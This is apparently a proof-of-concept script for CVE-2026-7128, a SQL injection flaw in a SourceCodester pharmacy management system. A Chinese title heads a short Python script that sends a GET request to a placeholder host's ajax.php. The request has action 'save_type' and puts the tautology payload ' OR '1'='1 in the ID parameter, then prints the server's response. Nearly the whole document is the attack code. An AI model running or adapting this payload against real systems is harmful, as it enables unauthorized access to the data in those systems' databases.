CVE-2026-7128 SourceCodester药店系统SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-domain/ajax.php" # Payload demonstrating SQL injection via the 'ID' parameter payload = { "action": "save_type", "ID": "1' OR '1'='1" # Simple SQL Injection payload to test vulnerability } try: # Sending the malicious request response = requests.get(target_url, params=payload) # Analyzing response if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:", response.text[:200]) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[-] An error occurred:", e)